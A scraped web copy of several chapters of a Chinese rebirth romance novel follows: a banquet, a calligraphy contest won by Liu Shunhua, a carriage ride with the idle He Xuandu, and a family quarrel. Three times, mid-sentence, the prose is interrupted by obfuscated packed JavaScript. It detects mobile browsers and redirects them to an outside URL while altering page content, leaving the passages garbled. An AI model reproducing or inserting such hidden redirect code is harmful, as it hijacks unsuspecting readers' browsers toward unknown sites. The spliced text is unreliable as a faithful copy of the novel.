她言辞恳切,举止有度,怎么看都不像是轻浮之人。 邱长临憋不住,大笑了起来。 众人跟着哄笑,“贺玄度,这就是你说的纠缠不休,哈哈哈。” 贺玄度愣了一下,默默打开羽扇,不停地扇着,试图缓解尴尬。 柳舜华自觉应答并无不妥,不知他们为何突然发笑,只是不解地看着贺玄度。 贺玄度觉得有些丢人,忙低头用羽扇遮挡住脸。 “这位便是柳小姐吧,原来你在这里。” 清亮的嗓音响起,伴随着环佩叮当,一群贵女们缓缓从桃林中走出。 走在前面的那人,生得极美,人群中一眼便能瞧见她。 柳舜华对她再熟悉不过,她曾经的小姑,相府幼女贺容暄。 贺容暄身侧,则是长陵侯府嫡女李舒君。 李舒君对着站在前方的贺玄度行礼,“二公子好!” 贺容暄跟着不紧不慢道:“二哥好!” 嘴上说着好,身子却半点也未动,贺容暄一向不喜这个二哥,虚礼都懒得做。 贺玄度拿开羽扇,瞥了贺容暄一眼,转头对着众人道:“这里浊气太甚,走吧。” 贺容暄气极,上前便想要与贺玄度理论。 李舒君一把拉住她,摇了摇头。 待贺玄度一行人走远,贺容暄甩开李舒君,“你干嘛要拉住我,我就看不惯他那张狂的样子。” 李舒君笑道:“你们自家兄妹,在这里吵嚷起来,只会让人看笑话。他那人品性如何,自不用你说,何必呢。” 贺容暄忿忿道:“他算什么东西,若不是祖母疼爱,谁将他当回事,也敢对我甩脸子。” 说完尤不解气,随手折了一枝桃花,狠狠摔在地上。 柳舜华心内冷笑,贺玄度的身份她也配置喙。 丞相贺留善早年曾娶一妻一妾。 正妻乃前太常卿之女万氏,妾室乃他长安求学、微末之时所结识的商户女陈氏。 万氏亡故后,贺留善才将陈氏扶正。 贺玄度乃万氏所生,贺玄晖与贺容暄乃陈氏所生。 若正经论起来,贺玄度才是相府的嫡公子。 贺玄晖同贺容暄都要靠边,她竟还在此大言不惭。 李舒君无奈一笑,转头看向柳舜华。 “柳小姐,方才下人回禀,说你已进了园子,未能去迎,多有怠慢,还望见谅。” 柳舜华见李舒君笑语盈盈,态度温和又谦卑,不觉对她多了几分好感。 她暗想,怪道李舒君能同贺容暄那种刁钻之人相处,她这样温柔包容,任谁都没有不喜欢的理。 她柔柔一笑:“李小姐严重了,承蒙长陵侯府不弃,得以进园赏花,已是不胜感激。” 贺容暄低眉淡淡扫了一眼柳舜华,眸中尽是居高临下的不屑。能同贺玄度在这里攀扯,想来也不是什么正经人。 柳舜华只是对她略一颔首,别过头去。 李舒君将两人微妙的动作尽收眼底,柔声道:“姐妹们都在前面浮霞池,咱们也一同去吧。” 一行人很快便到了浮霞池。 方到池边,林风飒飒,顿时落红簌簌,树上的桃花竟吹下来大半,落得人满身皆是。 众人一阵惊叹,就连贺容暄都忍不住伸手去接飘落的桃花。 柳舜华朝池子里一望,密密匝匝的红花浮在水面之上,飘飘荡荡,果如云霞一般。 “好个浮霞园,不错。” 熟悉的清朗声自岸边而来,柳舜华循声抬头,果然是贺玄度。 远处桃林掩映下,他正躺在一块满是落花的青石上,一手拿着酒壶,一腿悠然屈坐。 无视众人的目光,他随手举起酒壶,仰头畅饮起来。 贺容暄低哼一声:“阴魂不散。” 贺玄度像没看到她一样,对着李舒君遥遥招手,“李小姐,你们家这个园子,是真不错。” 李舒君微笑点头致谢。 落花散尽,众人纷纷抖落身上的桃花,唯恐衣裙之上沾染了颜色。 一个身穿缃衣的贵女指着柳舜华笑道:“你们瞧,她这身衣裳,配着头上落的桃花,竟是多少珠玉钗环都比不上的灵巧生动。” “是啊,我就不该穿这身胭脂裙,同这里的碧桃一比,真是比下去了一大截。” 柳舜华还未应答,贺容暄倒先开了口:“柳小姐这身确实别出心裁,只是……” 她顿了一下,好像很为难的样子,“方才我便想说,只是没机会。今日是长陵侯府宴请宾客,柳小姐这身装扮,只怕是对主人家有些不够重视吧。” 柳舜华眉头一扬,贺容暄这话,分明暗指她刻意装扮得如此素淡,来出风头。 果然,此话一出,方才夸柳舜华的女子沉默下来。她们 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步摇将要落到柳舜华手上的那刻,贺容暄突然将手翻了过去。 步摇应声落地。 “真是不巧,柳小姐,我这身衣服不便,还望柳小姐屈身捡一下。” 柳舜华瞥了她一眼,原来她是这个打算,想借机羞辱她。 贺容暄此时还是被困在高墙内的闺阁女,到底看不清局势。长陵侯府今日相邀,无疑是要拉拢兄长,否则也不会单独约在正厅相见。长陵侯府为相府办事,此次多半是贺丞相授意。丞相府暗地里拉拢,贺容暄却明里与她为难。她这么做,实在不够明智。 不过也好,贺容暄此举,倒正合她意。 她打定主意,一动不动。 贺容暄一向骄纵,相府上上下下对她无不顺从,世家贵女无不以她为尊。 眼见柳舜华并未如她所愿,反而一脸悠然,她怒不可遏。 “柳小姐,你这是看不上我的步摇了?” 柳舜华垂眸看了眼地上的金步摇,“贺小姐的东西太贵重,我怕是无福消受。” 贺容暄冷笑一声,“柳小姐,我好心赠你步摇,你却如此不识好歹,是故意要和我作对了。你们柳家算什么,也敢不将我们相府放在眼里?” “贺容暄,你在说什么?” 正午的日光洒满桃林,风吹动枝头轻摇,有人从身后桃林中走了出来。 来人一身青袍,肩上落了几朵未及拂去的桃花,更衬得面如冠玉,眉眼温润。 正是柳舜华前世的好夫君,贺玄晖。 5. 第 5 章 贺玄晖身后,站着长陵侯府世子李季方,还有柳桓安。 三人一个温润儒雅,一个锋芒毕露,一个清隽端方,皆是龙章凤姿。桃林之内,贵女们忍不住偷偷打量起来。 柳桓安皱着眉头,不顾众人目光,走到柳舜华身旁,轻声问:“蓁蓁,你没事吧?” 柳舜华摇摇头:“哥哥,没事,放心。” 贺玄晖扫了贺容暄一眼,目光落在一旁的柳舜华身上。 她半侧着一张脸,盈盈而立,花枝稀疏的光影落在她身上,朦朦胧胧。 不知为何,他总觉得这幅场景似曾相识,仿佛在梦里出现过。 贺容暄见他盯着柳舜华,心下更气,瞪眼叫了一声,“大哥。” 贺玄晖回过神,眉头蹙起,沉着脸,“容暄,你在做什么?” 贺容暄撇着嘴,气恼道:“大哥,别人家兄长都知道先关心妹妹,你却凶我。” 贺玄晖知她素来娇惯,如今被他当众喝责,难免心生委屈。先前的怒气顿时消减了大半,心头忍不住一软。 他轻叹一声,对着柳舜华低头躬身道:“柳小姐,真是对不住。容暄她一向心直口快,并无恶意,还请柳小姐不要多想。” 柳舜华抬眸,冷眼瞧着贺玄晖。 如上辈子初见时一样,贺玄晖一举一动皆有世家风范。他眉眼俊朗,眸光总是如此温柔,内敛又沉静,让人忍不住心生欢喜。 若是三年前初见,柳舜华一定心花怒放,再委屈也会一笑而过。 但她已见识过他的冷情,刺骨的寒凉。 贺玄晖的笑刺得她有些眼疼,就连他温润的嗓音,也让她生厌。 她蓦地想起成亲那日,他也是这般,声音温柔干净,却说着最让人寒心的话。 “你我成婚,实非我愿。我……我不想耽搁你。你早些歇息吧,我去书房了。” 想起当年,柳舜华愤恨难平。 当初既不喜欢她,为何不早早拒了这门婚事,非要娶她进门,让她在相府蹉跎三年。 说白了,贺玄晖同贺容暄没什么两样。 贺容暄是明面上的飞扬跋扈,从不将人放在眼里。 贺玄晖则是骨子里的凉薄,从不将人放在心上。 注意到柳舜华的目光,贺玄晖莫名一阵不安,抬头向柳舜华望去。 柳舜华早敛了神色,“贺大公子,我并未感觉贺大小姐有恶意。您这么说,是觉得贺小姐对我有恶意呢,还是觉得我小气。” 她语气轻缓而绵软,轻柔的话语落在别人耳中,像极了小姑娘的嗔怪。 可贺玄晖就是能感受到她暗藏的冰冷。 这种感觉,他说不上来,但他能清晰地感觉得到,这个女子有些讨厌他。 贺玄晖有些焦躁。 “柳小姐,你可千万不能不多想。相信自己没错,就是你想的那个意思,她想羞辱你。” 贺玄度不知什么时候走了过来,正慵懒地斜靠在一株桃树上,有一下没一下地扇着扇子,看着热闹。 贺玄晖眸光一凝,“二弟,不可乱说。” 贺玄度摇着扇子,悠然道:“大哥此言差矣。言必诚信,行必忠正,乃我贺家家训。我这是实话实说,遵从祖宗规矩而已。” 柳舜华忍不住笑了出来,十六岁的贺玄度,还挺有趣。 贺玄度见她朝他笑,收起扇子,得意朝她颔首示意。 李季方是主家,眼见贺玄晖处境尴尬,忙转移话题:“诸位,今日相邀,除赏花宴饮外,还有另一桩事,怕是要劳烦了。” 众人被勾起了兴致,问道:“还有李公子办不了的事。” 李季方指着池边的石碑道:“你们看,这石碑整日风吹日晒,早有些旧了,我便琢磨着要换个新的。可这上面的字,委实让我犯愁。你们也知道,我们祖上都是武将,文墨不通。今日想求诸位一幅墨宝,从中挑选合适的来,还请诸位不吝笔墨。” 在座也有不少喜文弄墨之人,当即附和道:“甚好。” 另有人提议道:“依我看,这浮霞二字就最为贴切,大可不必另寻新词。” 李季方点头:“有理。” 李舒君笑道:“既如此,诸位不妨移步流春榭,我已让人摆好了桌椅笔墨。” 去流春榭的路上,众人很默契地忘了方才之事。 李季方引着贺玄晖同柳桓安走在前面,柳舜华不紧不慢地走在最后。 落在后面的两个姑娘应是看不惯贺容暄,加之方才之事,当着柳舜华的面也不避讳。 “什么求墨宝,不就是捧着贺家。瞧着吧,一会那位又要显摆了。” “上次宫宴,不就是如此,一堆人陪衬着她。偏她的字,实在挑不出毛病,真可气。” 柳舜华脚步微微一滞,贺玄晖与贺容暄字写得如何,她不知晓。 但贺玄度的字,她却再熟悉不过。 飘若游云,自带一种舒朗气象,是真正的仙品。 流春榭背靠青山,一片葱葱茏茏,内里通彻明亮,正是歇脚赏景的好去处。 室内正面临水处摆了一张方桌,笔墨纸砚已经备齐。 一行人依次坐下,贺容暄开口道:“今日这一出有趣,赏花赏墨,极雅。” 众人纷纷点头赞同,独贺玄度在角落里不合时宜地打了个哈欠。 李季方朝着众人道:“方才我已经同贺大公子打了商量,他今日不参与,只负责评鉴。” 众人笑道:“这个好,谁不知道贺大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863669|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子写得一手好字。他若下场,我们岂不是要贻笑大方。” 李舒君指着众人笑道:“既如此,你们一个都跑不掉。” 方才夸赞柳舜华的那女子对着李舒君娇声道:“你实在可恨,明知我那一手字……哼,你就是想看我出丑。” 站在她身边的绿衣女子努努嘴,“怕什么,有人替你兜着呢。” 那女子一回味,低头抿嘴一笑。 柳舜华与她们并不相熟,不知她们口中兜底的究竟是何人。 她也不在乎。 眼下她担心的是,她时常临摹贺玄度的字迹,与其有几分相似。 若是被人瞧出来,只怕不好解释。 到时,她少不得要胡乱应付一番。 柳舜华恍神的功夫,已经有三四人写了去,很快便轮到柳桓安。 柳桓安跨步上前坐在椅上,身姿端正,落笔行云流水,一蹴而就。 李季方拿起一看,一声喝彩:“果真人如其字,笔触有力,筋骨丰盈。” 柳桓安自谦道:“哪里哪里,不过是抛砖引玉罢了。” 说完,他不动声色走向柳舜华。 柳舜华的字,他是知道的,若是不想想办法,只怕要出丑。 柳桓安歪头悄声道:“蓁蓁,放心。一会你若不想写,我想办法替你回绝。” 柳舜华摇摇头,随口道:“兄长,你才应当放心,我虽夺不了魁,但绝不至于丢人。” 柳桓安略一吃惊:“你哪来的自信?” 李季方瞅了一圈,目光落在角落里的贺玄度身上。 “贺二公子,请赐墨宝。” 贺玄度懒懒起身,走到长桌前,却未坐下,随手拿起毫笔开始挥墨。 柳舜华来了精神,一双秋水潋滟的双眸静静凝望着贺玄度。 他长身玉立,身姿舒展,随手做起来的动作,都有种让人沉迷的风流不羁。 “兄长,如无意外,你马上就能见到真正的书法了。”柳舜华语气里满是骄傲。 柳桓安瞥了一眼贺玄度,“就他,长安城里有名的纨绔。不是我说,你从哪里看出来的?” 柳舜华有些不快,“你看他握笔的姿势,多随性自然。这样落拓不拘,写出来的字,必定绝妙。” 最后一笔落下,贺玄度顺手将笔扔在桌上。 微风吹动着宣纸,翩然欲飞。 李季方上前,伸手将纸张拿起。 柳舜华瞪大双眼,有生之年,她又能见到贺玄度的真迹了。 李季方缓缓翻转纸张,示向众人。 一瞬间,四野风起,仿佛有什么东西排山倒海席卷而来,世界轰然坍塌。 这状如鸡爬的字,竟然出自贺玄度之手。 6. 第 6 章 柳桓安忍不住低头笑了起来,“这就是你说的绝妙?” 柳舜华嘴角止不住抽搐。 不过笑归笑,柳桓安总算是放心了,有贺玄度垫底,妹妹再差也差不到哪里去。 不单柳桓安,在场剩余未写之人都松了一口气,脸上都带着一种平和的光彩。 贺容暄轻嗤一声:“丢人现眼。” 贺玄度穿过众人,满不在乎地坐回临水长椅上,袍袖一拂,端起面前的酒杯,又自顾自地饮了起来。 “贺玄度,就是个纨绔,最好离他远一点。” “怕什么,有人替你兜着。” …… 柳舜华耳中轰鸣,额头突突跳起,感觉天旋地转。 那个即便在轮椅上也端方自持,一身白袍不染半分烟尘,永远带着清冷荷香,皎皎如月的贺玄度,真成了一个人人鄙夷的纨绔。 “字迹娟秀,却筋骨老健,一看便知是花了功夫的,不愧是贺家小姐。” “贺小姐的字,当真让我等读书人看了都惭愧。” …… 耳边赞誉不绝,柳舜华思绪缓缓回归。 贺容暄被众人夸赞,愈发得意,下意识地仰着头朝柳舜华看去。 作为相府嫡女,贺容暄同贺玄晖一样,自六岁起便师从大儒聂先生。她虽不专学问,却最擅书法,并以此为傲。 她就不信,一个小门小户出身,名不见经传的柳舜华,还能比过她。 柳舜华心乱如麻,压根没回应她的眼神。 倒是柳桓安点头低声道:“早就听闻贺家两兄妹擅诗书,尤其贺小姐,皇后寿辰之日,她一手贺寿书法,惊艳众人。今日一见,果真如此。只可惜……” 贺容暄见柳舜华竟敢无视她,愈加恼怒。 她强忍怒气,嘴角勾笑,眸中尽是挑衅之意:“柳小姐,令兄乃我大安俊才,想必柳小姐学识也是不俗,不知这书法如何?” 贺容暄一旁的绯衣女子附和道:“对啊,柳小姐,眼下可就只剩你了。” 有贺玄度垫底,柳桓安倒也不十分担心,不过妹妹那一手字也没好到哪去。 他还是站了出来,“家妹平素只喜操持舍务琐事,并不擅学问书法,恐怕要让诸位见笑了。” 几人你来我往的,反而吵得柳舜华有些清醒。 她看了看贺容暄,柳眉一扬,“兄长是兄长,我是我。我在家并不专注学问,至于书法,更是不值一提。” 柳舜华此话,似在认输,贺容暄很受用。 她装出大度的做派,朝着众人笑道:“今日不过是玩乐而已,柳小姐放心,即便写得不好,也不会有人取笑你。” 李季方爽朗一笑:“正是,你是女子,又不去做官。写得好那是锦上添花,写得不好也没什么。” 话已至此,柳舜华也不再谦让,款步移至长桌前。 她一手抚袖一手执笔,落笔流畅自然。 上辈子,入相府半年后,她时常难得安眠。 贺玄度说,《黄帝内经》有云:静则神藏,躁则消亡。 若实在忧思,不妨写字静心养神。 在相府数不尽的不眠夜,她都是靠着模仿贺玄度的笔迹度过。 久而久之,她的字虽大有进益,可那颗心却越来越不安稳。 …… 片刻后,柳舜华将笔轻轻搁下,转身站回柳桓安身旁。 柳桓安朝她笑了笑,“许久不曾见你动笔,别的不说,这气势倒是不错。” 李季方上前,还未将纸张拿起,先喝了声“妙”。 方才贺容暄写完,李季方都不曾称赞,如今这情不自禁一声叹,惹得众人有些好奇,纷纷伸长了脖子等着瞧柳舜华的字。 东风乍起,长桌上的纸张被吹得飘飘悠悠,在空中旋转了几圈,缓缓落在贺玄度脚边。 贺玄度像未瞧见一样,仰面将杯中余酒一饮而尽。 忽而余光一瞥,瞧见地上的字,贺玄度匆匆将酒杯放下,伸手便想去捡地上的纸。 靛青锦袍扫过地面,一只手先他一步,缓缓将纸张拾起。 贺玄晖将纸拿在手里,眼中闪过一丝亮光。 “柳小姐师从何人,竟习得这一手好字?” 众人一瞧,字迹婉畅清雅,隽秀逸致,潇散中透着一丝洒脱之感,与“浮霞”两字正契合。 柳桓安也是一脸惊喜,他没料到,妹妹的字与他相比,竟是有过之而无不及。 “如此轻灵洒脱,又开阔舒朗,竟出自女子之手,当真是我一叶障目了。” “如云之浮,如霞之灿,再没比这个更贴切的了。” 一时溢美之词四起。 柳舜华没有去看贺玄晖,而是有意望了一眼贺容暄,谦和一笑:“我不擅书写,不过是自己练着玩罢了,到底缺少技巧,哪里比得上诸位勤学苦练呢。” 贺容暄怒火中烧,柳舜华言下之意,分明是说她随手一写便能胜过自己。 贺玄晖一心在纸上,并未瞧见两人之间的暗流涌动。 “柳小姐过谦了,正是没有多余技巧,才更自然灵动,与浮霞两字最衬。”他顿了顿,接着道:“当属今日魁首。” 贺容暄气红了眼:“兄长,品评字迹,怎可不算技巧,不讲技艺?” 贺玄晖眸色一黯,凝眉道:“容暄,你的字是极好的。可今日是为浮霞池题字,自然以最相合为上。况若论技巧,柳小姐的也不差。” 贺容暄不服气,“什么不差,你们分明就是想……” 贺玄晖厉声喝止:“贺容暄,不要胡闹。” 贺容暄“哼”了一声,眼里泪水打转,起身便朝水榭外走。 李季方忙对着李舒君递了眼色。 李舒君会意,对着众人躬身:“我先失陪,你们尽兴。” 柳舜华心内长舒一口气,看来今日的目的算是达到了。 方一抬头,她就愣住了。 她明显注意到,两道探究的目光。 贺玄晖,大约是她的书法引起了他的兴致。她根本不在乎。 那贺玄度呢? …… 贺容暄这么一闹,众人哪里还有什么兴致,一行人又各自在园子里逛了会,见天色不早,要赶回城中,便散了。 浮霞园门前,车马渐少。 李季方亲自送了柳桓安出来,“柳兄,对不住,今日照顾不周。” 柳桓安客气道:“哪里,世子严重了。” 李季方望向旁边的柳舜华,笑道:“承蒙柳小姐赐字,自是要送上谢礼。寻常谢礼太过俗气,我已差人去取了几坛凉州的葡萄酒,片刻即至,万望莫要推辞。” 柳舜华看了看柳桓安,见他点头,这才笑着躬身致谢。 等了好一会,酒还未送到。 李季方有些尴尬,只朝着两人干笑。 约摸过了一炷香的功夫,才见有人推了车匆匆赶来。 李季方面带愠色:“让你取个酒,怎么如此磨蹭,让柳公子白白等你这许久?” 那下人一脸无奈,絮絮叨叨地解释:“公子,我回庐内取酒之时,不知怎么就碰到了贺二公子。他看上了一只大白鹅,说是长得标致,非要缠着我给他逮上去。我费了九牛二虎之力,好不容易我才……” 不等他说完,李季方摆摆手:“罢了罢了,先把酒搬上再说。” 一切安置妥当,柳桓安与李季方正式拜别,马车这才晃晃悠悠出了庄园。 待车马行至流水处,柳舜华这才道:“我怎么觉得,李世子今日过于殷勤了些?” 兄长此次只是升任了鸿胪寺丞,在长安这个处处勋贵之地,好像并不值得如此兴师动众。 可如今,丞相府亲自出手进行拉拢,长陵侯府又如此谦和,她更加确信,好像事情并没那么简单。 上辈子,她对官场之事也不甚上心,并不清楚兄长此次升任背后的深意。 “连你都看出来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳桓安心下生暖,妹妹这是想替他解围。 他望着柳舜华,笑道:“不得了,以往我只当你是有点小主意,没想到竟这么有想法,怎么以前我都不曾发现?” 柳舜华挽住柳桓安的胳膊,“这叫有其兄必有其妹。我已经十六,不是小孩了,还不允我长进了。” 上辈子,她一直活在父亲与兄长的羽翼之下。一朝柳府失利,她只能眼睁睁看着父兄在朝堂上被打压得抬不起头。父亲终日郁郁,以至疾病缠身。兄长前途尽毁,只能屈居在宅院饮酒度日。 这辈子,她清醒了。 她也有责任守护好父兄,守护好柳家。 柳桓安叹了一口气:“我倒情愿你不长大,一直无忧无虑的。” 柳舜华凑过去,“难道你还想像小时候一样,你读书的时候,我捉个青蛙扔给你?” 柳桓安浑身汗毛直立,照着她的头又是一顿拍:“方觉得你懂事一点,又开始犯浑。” “疼,疼,疼,哥我错了。” 柳桓安放开手,又想到一件事,“你的字,什么时候练得那么好?” 柳舜华眼眸一转:“练得多了呗。其实我写得也没那么好,不过今日发挥得好。还有,举办这个活动,本来就是贺家和长陵侯府有意捧你。他们正怕做得太明显,碰巧我撞了上去,他们顺水推舟,卖你一个面子罢了。” 柳桓安点点头,想了想,还是觉得有些不对。 他正欲追问,马车却慢了下来,缓缓停靠在路边。 柳桓安问道:“怎么回事?” 马车夫隔着帘子回道:“公子,前面挡住了。” 两人撩起车帘一看,不由呆了。 长道之上,青山渺渺,炊烟袅袅。 夕阳之下,贺玄度狂奔在前面,在他身后是……一只大白鹅。 一人一鹅,你追我赶,好不热闹。 7. 第 7 章 柳桓安忍不住直皱眉,这个贺二公子还真是特立独行。 柳舜华眼神也复杂起来。 贺玄度越跑越近,柳桓安思索着要不要打个招呼,或是上前帮忙。 一道人影闪过,贺玄度跳上了柳家的马车。 还未等车内两人做出反应,贺玄度已经抢过马鞭,驾起马车跑了起来。 柳桓安与柳舜华面面相觑,从彼此眼中看到同样的迷茫后,齐齐望向贺玄度。 贺玄度挥动马鞭,马车跑得飞快,与大白鹅擦身而过,一路向前。 大白鹅扑腾着翅膀追了一段,看着马车越跑越远,终于停了下来。 “不好意思,挤一挤?” 晚霞漫天,贺玄度转过身来,孔雀金绣织锦袍越发炫彩夺目,他长眉微扬,眼含笑意。 柳舜华蓦地想起初见时的场景。 那日也似这般,暮云合璧。 她如往常一般闲得无聊,到后院荷花池摘莲蓬。 莲蓬又大又饱满,她摘了两三支,欢喜起身。 一转头,便瞧见了贺玄度。 莲池旁轮椅之上,贺玄度手执一卷旧书,一身青衫爽朗清举。 霞映荷塘,绿波生金,一池荷风冉冉香。 他静静地坐着,眼含笑意,拱手施礼:“嫂嫂好。” …… 望着眼前的贺玄度,柳舜华有些恍惚,不自觉地往旁边挪了挪。 贺玄度弯腰进去便要坐下,柳桓安眼疾手快,侧身坐在柳舜华身旁。 柳桓安客气道:“贺二公子,请。” 贺玄度挑眉一笑,顺势坐在他们对面。 马车还在平稳前行,柳桓安对着贺玄度客气道:“贺二公子,马车简陋,委屈了。” 贺玄度左右瞥了一眼,“是有点。” 柳桓安嘴角抽动,“既如此,不妨停下来等一等,兴许二公子的马车很快就赶上了。” 贺玄度摆摆手:“无碍,凑合一下吧。我的马车被笨丫头弄得一团糟,到处都是鹅毛。” 柳舜华记得,贺玄度出来时,好像并没有带丫头。 她脱口而出:“笨丫头?” 贺玄度点头:“笨丫头,就是我的那个大白鹅。我看它呆头呆脑的,这个名字正适合。” 柳舜华愕然。 笨丫头,是个鹅。 柳桓安用手扶住额头,不忍直视。 他这是造了什么孽,要和这样的人待在同一辆马车里。 贺玄度浑然未觉,“这个笨丫头,太不识好歹。我好心帮它解开绳子,它倒好,恩将仇报,逮住我便咬,幸亏我跑得快。” 柳桓安闭嘴。他怕再同贺玄度多说一句,自己会变成傻子。 柳舜华看着喋喋不休的贺玄度,恍若在梦里。 然而……他实在有些聒噪,柳舜华不忍再看,默默垂下眼眸。 贺玄度见柳桓安并不搭话,转头看向柳舜华。 “柳小姐的字,着实让人惊艳。” 柳舜华心下一动,缓缓抬头。 上辈子,她的字贺玄度从未见过。 她的字,同她隐秘的心思一样,从不敢示于人前。 她道:“你觉得我的字好看?” 贺玄度微微一怔,不知为何,他总觉得,她眼中有些哀伤,还有一丝……期待。 他笑道:“自然,有眼睛的人,都看得出来。” 柳桓安见他与柳舜华搭话,忙挡在她跟前,“贺二公子谬赞了。” 贺玄度越过柳桓安,歪头继续问道:“不知柳小姐师从何人?” 柳舜华咬着嘴唇,“无人,胡乱练习,练得多了而已。” 贺玄度拊掌:“无人教习,竟然能写到如此地步。实不相瞒,看了柳小姐的字后,我深感惭愧,故想求小姐赐墨宝一幅,以供临摹,不知小姐可愿不吝笔墨?” 柳桓安恨不得一脚给他踹下去,妹妹的字怎能交给这个纨绔去亵渎? 他面上依旧从容:“小妹毕竟是女子,多有不便。若贺二公子不嫌弃,我倒是可以写上一幅。” “说实话,有点嫌弃。”贺玄度摸着头:“柳公子的字太端正了一点,实在不适合我。还是柳小姐的字,更适合我。” 柳桓安握紧拳头,竭力让自己镇定。 柳舜华忙按住柳桓安,“兄长,无妨。一幅字而已,贺二公子若当真想练,我改日差人送去便是。” 贺玄度不想她答应得如此爽利,饶有兴致地看着她,“柳小姐真是个畅快人,先行谢过了。” 得了柳舜华的应允,贺玄度才总算消停。 柳桓安一路阴沉着脸,一进城中,他便以道不同为由,迫不及待将贺玄度请下马车。 贺玄度从车上跳下,朝着两人躬身致谢。 他冲着两人一笑:“多谢二位载我一程。下面的路,我要一个人走了。” 柳舜华无端想起那个轮椅上孤零零的背影。 老夫人走后,他一个人坐在老夫人生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863671|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的院落,望着空荡荡的天空。 秋风萧瑟,枯叶满地。 她听到他喃喃道:祖母,这个家,终究还是只剩我一个人了。 待柳舜华缓过神,贺玄度早已转身走远。 落日熔金,一片金黄灿烂里,贺玄度清瘦身影却显得孤寂异常。 柳桓安“啪”的一下甩下车帘,不想再看贺玄度一眼。 “蓁蓁,你怎么就应下了,我分明暗示你,随便打发他便是。” 柳舜华笑道:“我虽非夫子,可有教无类还是听过,他既有心想学,何不成全他?” 柳桓安怕柳舜华糊涂被骗,也顾不上什么背后妄议,“你不常出来走动,不知他在长安的名声。长安第一纨绔这个称号,可不是随便来的。今日这个大白鹅,你瞧着是不是已经够荒唐了?岂不知,比这个更荒唐的多了去了。据说他那个院子里,鸡鸭成群,猫狗一窝的,成日闹得相府不得安生,如此不务正业,哪里有官家子弟的半分风姿。” 贺玄度的院子柳舜华去过,偌大的院落清冷寥落,只廊下水缸里一尾金鱼,孤零零地游弋,哪里有兄长说的这些东西。 她摇头道:“兄长又没去过,怎知不是道听途说?” 柳桓安道:“我虽未去过相府,但曾在街上见到过他几次,每次他都是前呼后拥,提着个鹦鹉招摇过市。还有,他曾一夜在赌坊输了五万钱,被赌坊的人堵在相府门口,此事闹得人尽皆知,最后还是贺玄晖出面才解决。如此纨绔,你莫要同他有牵扯才好,以免累了名声。至于书帖,我想办法回绝。” 柳舜华沉默不语。 柳桓安看柳舜华垂头丧气,安慰道:“我知道,你是在为我担心,你怕得罪了相府。你放心好了,贺玄度在相府并不受重视,贺丞相眼里只有贺玄晖一个儿子。至于贺玄度,也就空有一个相府公子的头衔而已,无关紧要。” 柳舜华凝眉:“无关紧要?可他也是相府嫡子啊。” 柳桓安并未听出柳舜华话里隐隐的不忿,只是道:“他这样的人,放在寻常富贵人家或许还能容他胡闹,可相府是什么地方,一举一动都有人盯着。贺丞相向来内敛谨慎,他却如此肆意妄为,怎会不被贺丞相厌弃。何况,相府还有一个早早入了太学,才学出众的贺玄晖。若他有贺玄晖一半才学,也不至于……算了,不说他了。” 柳舜华没再接话,她心里堵得慌。 车帘微微晃动,柳舜华不觉有些发冷。 春日晚间的风,依旧是凉的。 8. 第 8 章 回到柳府,柳舜华还未进后院,远远便瞧见了柳棠华的丫头抚春。 抚春一看到柳舜华,像看到救星一样,忙跑了过去。 “大小姐,你总算回来了。快去看看二小姐吧,她又被欺负了。” 听她说到棠华,柳舜华心上一阵绞痛,未央宫内那具冰冷的尸身又浮现在脑海。 她强按下情绪,问道:“怎么回事?” 抚春皱眉道:“还不是隔壁的二太太,又带着蔓华小姐来了。” 柳家并非什么高门大户,人丁也没那么兴旺。 老大柳奉,也就是柳舜华的父亲,现任大司农丞。 老二柳信,不过是长安一名小吏。 柳舜华祖父母过世后,兄弟二人早已分家。 抚春说的二太太,便是柳舜华的叔母葛氏。 说到这个叔母,柳舜华就头疼。她这人,惯爱钻营,每次来都要打秋风。 养个女儿也是,凡她看上的东西,便会想方设法占为已有。 有时候是柳舜华的首饰,有时候是胭脂水粉,有时候是衣裙…… 柳舜华为此也反抗过,可每次叔母都会过来帮腔。 她说不过,又没有母亲替自己出头,只能忍气吞声。 方踏进后院,柳舜华便听到葛氏那令人不适的声音。 “我说芊芊丫头,你妹妹看上了,你就让让她得了。一身衣裳,也值得你这样。” 柳棠华有些委屈,小声道:“这个不行,这个是姐姐才给我做的。” 葛氏转头对上孙姨娘:“不是我说你,你好歹也算是这个家的女主子,怎么生出来的女儿这么小家子气。” 柳奉有一妻一妾,正妻也就是柳舜华生母,已过世多年,现府内只有孙姨娘一人伺候。这些年,孙姨娘虽操持着柳家后宅事务,却未被扶正。 葛氏一贯如此,总是先给足孙姨娘脸面,再借机讨好处。 孙姨娘偏吃这套。 果不其然,她拉着棠华劝道:“一件衣裳而已,又不是什么宝贝。你那满柜子都是,又不缺这一件,就让给你妹妹好了。” 柳棠华依旧抱着衣服不撒手,孙姨娘见她如此,顿觉失了面子,作势便要朝她打去。 